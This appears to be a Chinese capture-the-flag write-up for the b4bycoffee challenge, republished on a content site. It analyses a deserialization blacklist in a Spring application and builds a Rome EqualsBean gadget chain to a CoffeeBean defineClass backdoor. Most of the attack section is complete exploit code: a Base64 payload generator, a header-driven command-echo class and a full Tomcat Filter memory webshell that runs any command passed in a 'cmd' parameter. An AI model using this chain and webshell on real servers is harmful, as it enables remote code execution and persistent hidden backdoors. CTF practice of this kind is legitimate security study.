【Web】记录[长城杯 2022 高校组]b4bycoffee题目复现

目录

前言

环境准备

简单分析

EXP(两种打法)

生成Payload

恶意类

①Spring命令执行回显类

②Filter型内存马


前言

本地jar包运行打通了,远程500,nss靶机有问题,换了bugku就可(

主要记录下做题过程,纯菜狗,小白文

环境准备

这次附件给的jar包是可执行jar,不是可依赖jar,不能直接add as lib导入项目

需要进行如下的处理

先是对jar包进行解压

用jadx-gui打开

 

 

简单分析

先来看pom

比较刺眼的是Rome依赖,还有spring可能会用于写内存马

接着注意到/b4by/coffee路由,此处便是反序列化入口

AntObjectInputStream是自定义的对象输入流类,写了一些关键类的黑名单

可以看到ban了ObjectBean,ToStringBean这些Rome链的sink点,TemplatesImpl这种实例化关键类,以及BadAttributeValueExpException这条CC5里触发ToString方法的类

好在EqualsBean还是在的,依然可以配合HashMap来触发ToString

此外AntObjectInputStream还重写了resolveClass,就是配合黑名单用的

现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了,空留toString何用?

“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”

我们看到coffeeBean类重写了toString方法,存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象),并对其进行实例化。

那这不就易如反掌易如反掌了吗(

手搓链子(不会tabby,锐意学习中)

java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toString

EXP(两种打法)

记得pom里再导一个javassist依赖

<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency>

生成Payload

 GenPayload.java

package com.example.b4bycoffee.exp;import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import javassist.ClassPool;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;public class GenPayload {public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}public static String getPayLoad() throws Exception {byte[] code = ClassPool.getDefault().get(你的恶意类.class.getName()).toBytecode();CoffeeBean coffeeBean = new CoffeeBean();setFieldValue(coffeeBean, "ClassByte", code);EqualsBean equalsBean = new EqualsBean(String.class, "test");HashMap map = new HashMap();map.put(equalsBean, "xxx");setFieldValue(equalsBean, "obj", coffeeBean);setFieldValue(equalsBean, "beanClass", CoffeeBean.class);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(map);oos.close();String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));System.out.println(payload);return payload;}public static void main(String[] args) throws Exception {getPayLoad();}
}

恶意类

①Spring命令执行回显类

SpringEcho.java

不出网没法反弹shell,内存马也没写起来,我怎么不去死一死QWQ

命令执行用下面SpringEcho类来回显

(参考链接:java回显学习 | 现科信息安全协会)

package com.example.b4bycoffee.exp;import java.lang.reflect.Method;
import java.util.Scanner;public class SpringEcho {static {try {Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getResponse");Method m1 = c.getMethod("getRequest");Object resp = m.invoke(o);Object req = m1.invoke(o); // HttpServletRequestMethod getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);getHeader.setAccessible(true);getWriter.setAccessible(true);Object writer = getWriter.invoke(resp);String cmd = (String)getHeader.invoke(req, "cmd");String[] commands = new String[3];if (System.getProperty("os.name").toUpperCase().contains("WIN")) {commands[0] = "cmd";commands[1] = "/c";} else {commands[0] = "/bin/sh";commands[1] = "-c";}commands[2] = cmd;writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());writer.getClass().getDeclaredMethod("flush").invoke(writer);writer.getClass().getDeclaredMethod("close").invoke(writer);} catch (Exception e) {}}
}

header注入cmd即可

②Filter型内存马

package com.example.b4bycoffee.exp;import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.springframework.context.ApplicationContext;import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class TomcatInject implements Filter {private static final String filterUrlPattern = "/*";private static final String filterName = "Z3r4y";static {try {ServletContext servletContext = getServletContext();if (servletContext != null) {Field ctx = servletContext.getClass().getDeclaredField("context");ctx.setAccessible(true);ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);Field stdctx = appctx.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(appctx);if (standardContext != null) {// 这样设置不会抛出报错Field stateField =org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");stateField.setAccessible(true);stateField.set(standardContext, LifecycleState.STARTING_PREP);Filter myFilter = new TomcatInject();// 调用 doFilter 来动态添加我们的 Filter// 这里也可以利用反射来添加我们的 Filterjavax.servlet.FilterRegistration.Dynamic filterRegistration =servletContext.addFilter(filterName, myFilter);// 进行一些简单的设置filterRegistration.setInitParameter("encoding", "utf-8");filterRegistration.setAsyncSupported(false);// 设置基本的 url patternfilterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),false,new String[] {"/*"});// 将服务重新修改回来,不然的话服务会无法正常进行if (stateField != null) {stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);}// 在设置之后我们需要 调用 filterstartif (standardContext != null) {// 设置filter之后调用 filterstart 来启动我们的 filterMethod filterStartMethod =StandardContext.class.getDeclaredMethod("filterStart");filterStartMethod.setAccessible(true);filterStartMethod.invoke(standardContext, null);/** 将我们的 filtermap 插入到最前面 */Class ccc = null;try {ccc =Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");} catch (Throwable t) {}if (ccc == null) {try {ccc = Class.forName("org.apache.catalina.deploy.FilterMap");} catch (Throwable t) {}}// 把filter插到第一位Method m =Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("findFilterMaps");Object[] filterMaps = (Object[]) m.invoke(standardContext);Object[] tmpFilterMaps = new Object[filterMaps.length];int index = 1;for (int i = 0; i < filterMaps.length; i++) {Object o = filterMaps[i];m = ccc.getMethod("getFilterName");String name = (String) m.invoke(o);if (name.equalsIgnoreCase(filterName)) {tmpFilterMaps[0] = o;} else {tmpFilterMaps[index++] = filterMaps[i];}}for (int i = 0; i < filterMaps.length; i++) {filterMaps[i] = tmpFilterMaps[i];}}}}} catch (Exception e) {e.printStackTrace();}}// webshell命令参数名private final String cmdParamName = "cmd";private static ServletContext getServletContext()throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {ServletRequest servletRequest = null;// shell注入,前提需要能拿到request、response等Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");f.setAccessible(true);ThreadLocal threadLocal = (ThreadLocal) f.get(null);// 不为空则意味着第一次反序列化的准备工作已成功if (threadLocal != null && threadLocal.get() != null) {servletRequest = (ServletRequest) threadLocal.get();}// 如果不能去到request,则换一种方式尝试获取// spring获取法1if (servletRequest == null) {try {c =Class.forName("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c =Class.forName("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getRequest");servletRequest = (ServletRequest) m.invoke(o);} catch (Throwable t) {}}if (servletRequest != null) return servletRequest.getServletContext();// spring获取法2try {c = Class.forName("org.springframework.web.context.ContextLoader");Method m = c.getMethod("getCurrentWebApplicationContext");Object o = m.invoke(null);c = Class.forName("org.springframework.web.context.WebApplicationContext");m = c.getMethod("getServletContext");ServletContext servletContext = (ServletContext) m.invoke(o);return servletContext;} catch (Throwable t) {}return null;}@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throws IOException, ServletException {System.out.println("TomcatShellInject doFilter.....................................................................");String cmd;if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {Process process = Runtime.getRuntime().exec(cmd);java.io.BufferedReader bufferedReader =new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());servletResponse.getOutputStream().flush();servletResponse.getOutputStream().close();return;}filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {}
}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/281484.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

jupyter切换默认打开路径

首先打开anaconda输入 : conda activate然后输入 : jupyter notebook 然后可以找到一个路径 : 然后找到相应根目录夹 : 找到标出来的文件; 如果找不到的话 &#xff0c; 输入 : jupyter notebook --generate-config 然后目录下就会出现该文件 ; 然后打开它&#xff0…

Linux 文件系统:重定向、缓冲区

目录 一、重定向 1、输出重定向 2、输入重定向 3、追加重定向 4、dup2 系统调用 二、理性理解Linux系统下“一切皆文件” 了解硬件接口 三、缓冲区 1、为什么要有缓冲区? 2、刷新策略 3、缓冲模式改变导致发生写时拷贝 未创建子进程时 创建子进程时 使用fflush…

【Linux】多线程编程基础

&#x1f4bb;文章目录 &#x1f4c4;前言&#x1f33a;linux线程基础线程的概念线程的优缺点线程与进程的区别 线程的创建 &#x1f33b;linux线程冲突概念互斥锁函数介绍加锁的缺点 &#x1f4d3;总结 &#x1f4c4;前言 无论你是否为程序员&#xff0c;相信多线程这个词汇应…

定时在windows上执行python脚本

现在&#xff0c;有两种方法来执行Python脚本。 第一种方法要写批处理Bat文件&#xff0c;另一种则不需要。 如果您不想写批处理文件&#xff0c; 定时在windows上执行python脚本的步骤如下&#xff1a; 1. 搜索任务计划程序(Task Scheduler) 2. 在右侧“action”窗格下&…

Redis监控工具

Redis 是一种 NoSQL 数据库系统&#xff0c;以其速度、性能和灵活的数据结构而闻名。Redis 在许多领域都表现出色&#xff0c;包括缓存、会话管理、游戏、排行榜、实时分析、地理空间、叫车、聊天/消息、媒体流和发布/订阅应用程序。Redis 数据集完全存储在内存中&#xff0c;这…

QT_day2:页面设计使用ui

1、自由发挥登录窗口的应用场景&#xff0c;实现一个登录窗口界面。&#xff08;不要使用课堂上的图片和代码&#xff0c;自己发挥&#xff0c;有利于后面项目的完成&#xff09; 要求&#xff1a; 1. 需要使用Ui界面文件进行界面设计 2. ui界面上的组件相关设置&#xff0c…

Python学习:元组

Python 元组概念 Python 中的元组&#xff08;tuple&#xff09;是不可变的有序集合。它是一种数据类型&#xff0c;类似于列表&#xff08;list&#xff09;&#xff0c;但在创建后不能被修改。元组使用圆括号 () 来表示&#xff0c;其中的元素可以是任意类型&#xff0c;并且…

家电工厂5G智能制造数字孪生可视化平台,推进家电工业数字化转型

家电5G智能制造工厂数字孪生可视化平台&#xff0c;推进家电工业数字化转型。随着科技的飞速发展&#xff0c;家电行业正迎来一场前所未有的数字化转型。在这场制造业数字化转型中&#xff0c;家电5G智能制造工厂数字孪生可视化平台扮演着至关重要的角色。本文将从数字孪生技术…

基于SSM的校园失物招领系统设计与实现+数据库+免费远程调试

项目介绍: 基于SSM的校园失物招领系统设计与实现。Javaee项目&#xff0c;采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&#xff0c;通过Spring SpringMvc Mybatis JspVuelayuiElementui来实现。MySQL数…

前端框架推荐 Arco Design

Arco Design - 企业级产品的完整设计和开发解决方案 预览地址&#xff1a;Arco Design Pro - 开箱即用的中台前端/设计解决方案 一 开发 有vue3、React版本。 文档地址&#xff1a;Arco Design - 企业级产品的完整设计和开发解决方案 还配有对应脚手架&#xff1a;GitHub -…

YOLOv3学习

YOLOv3仅使用卷积层&#xff0c;使其成为一个全卷积网络&#xff08;FCN&#xff09;。文章中&#xff0c;作者提出一个新的特征提取网络&#xff0c;Darknet-53。正如其名&#xff0c;它包含53个卷积层&#xff0c;每个后面跟随着batch normalization层和leaky ReLU层。没有池…

软件工程-第6章 面向对象方法UML

UML是一种图形化语言&#xff0c;简称画图。 6.1 表达客观事物的术语 6.2 表达关系的术语 1.关联 表达关联语义相关术语&#xff1a;关联名、导航、角色、可见性、多重性、限定符、聚合、组合。 2.泛化 3.细化 6.3 组织信息的一种通用机制-包 6.4 模型表达工具 一个用况图包含6…

对通信安全IEC 61784-3 的理解

IEC 61784-3是国际电工委员会&#xff08;IEC&#xff09;发布的关于工业通信网络和系统的标准之一&#xff0c;它规定了工业通信网络和系统中使用的数据传输协议和通信规范。IEC 61784-3主要涉及工业自动化领域中的实时以太网通信&#xff0c;包括数据传输速率、数据传输方式、…

文件包含漏洞之包含NGINX日志文件(常用)

条件&#xff1a;知道目标服务器的日志文件存贮路径&#xff0c;并且存在文件包含漏洞 首先对目标服务器发送一次含有木马的请求&#xff0c;目的是让目标服务器日志中生成含有木马的日志记录。因为发送过程中&#xff0c;使用了url编码&#xff0c;我们抓包进行更改成能够执行…

Java类的多态作用及解析

多态是面向对象编程中一个重要的特性。简单来说&#xff0c;多态就是指同一个方法在不同的对象上有不同的实现。通过多态&#xff0c;我们可以在运行时根据对象的实际类型来动态地调用相应的方法&#xff0c;从而提高代码的灵活性和可扩展性。 以下是 Java 类中多态的一些作用…

THM学习笔记—Bounty Hacker

nmap扫描&#xff0c;扫了一大堆但只有三个端口是开放的 试试ftp是否可以匿名登录 可以匿名登录&#xff0c;把里面的文件下载下来 查看里面的内容&#xff0c;猜lin为用户名&#xff0c;locks.txt为密码列表&#xff0c;使用hydra进行ssh登录。 找到密码了&#xff0c;进行ssh…

【软考】生成树

目录 1. 概念2. 图解3. 例题3.1 例题1 1. 概念 1.对于有n个顶点的连通图&#xff0c;至少有n-1条边&#xff0c;而生成树中恰好有n-1条边2.连通图的生成树是该图的极小连通子图3.若在图的生成树中任意加一条边&#xff0c;则必然形成回路4.图的生成树不是唯一的5.从不同的顶点…

【热门话题】深入浅出:npm常用命令详解与实践

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 标题&#xff1a;深入浅出&#xff1a;npm常用命令详解与实践引言一、npm基本概…

CentOS无法解析部分网站(域名)

我正在安装helm软件&#xff0c;参考官方文档&#xff0c;要求下载 get-helm-3 这个文件。 但是我执行该条命令后&#xff0c;报错 连接被拒绝&#xff1a; curl -fsSL -o get_helm.sh https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 # curl: (7) Fai…

LeetCode刷题记录:(13)N皇后(难题不难)

leetcode传送通道 传说中的N皇后&#xff0c;不难&#xff0c;进来了就看完吧 注释序号代表鄙人写代码的顺序和思考逻辑&#xff0c;供参考 class Solution {// 1.定义结果数组List<List<String>> result new ArrayList<>();public List<List<String&…